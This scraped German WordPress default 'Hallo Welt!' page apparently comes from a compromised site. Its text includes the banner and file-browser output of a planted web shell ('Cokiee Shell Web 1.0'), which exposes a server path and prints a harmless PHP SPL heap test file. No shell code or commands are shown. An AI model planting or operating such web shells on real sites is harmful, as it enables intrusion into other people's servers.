Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/spl/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/spl/tests/spl_heap_is_empty_basic.phpt |
--TEST-- SPL: SplHeap, test trivial method to find if a heap is empty --CREDITS-- Nathaniel McHugh nat@fishtrap.co.uk #testfest London 2009-05-09 --FILE-- <?php class MyHeap extends SplHeap{ public function compare($a, $b){ return $a < $b; } } $heap = new MyHeap(); var_dump($heap->isEmpty()); $heap->insert(1); var_dump($heap->isEmpty()); $heap->extract(); var_dump($heap->isEmpty()); $heap->isEmpty('var'); ?> --EXPECTF-- bool(true) bool(false) bool(true) Warning: SplHeap::isEmpty() expects exactly 0 parameters, 1 given in %s
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare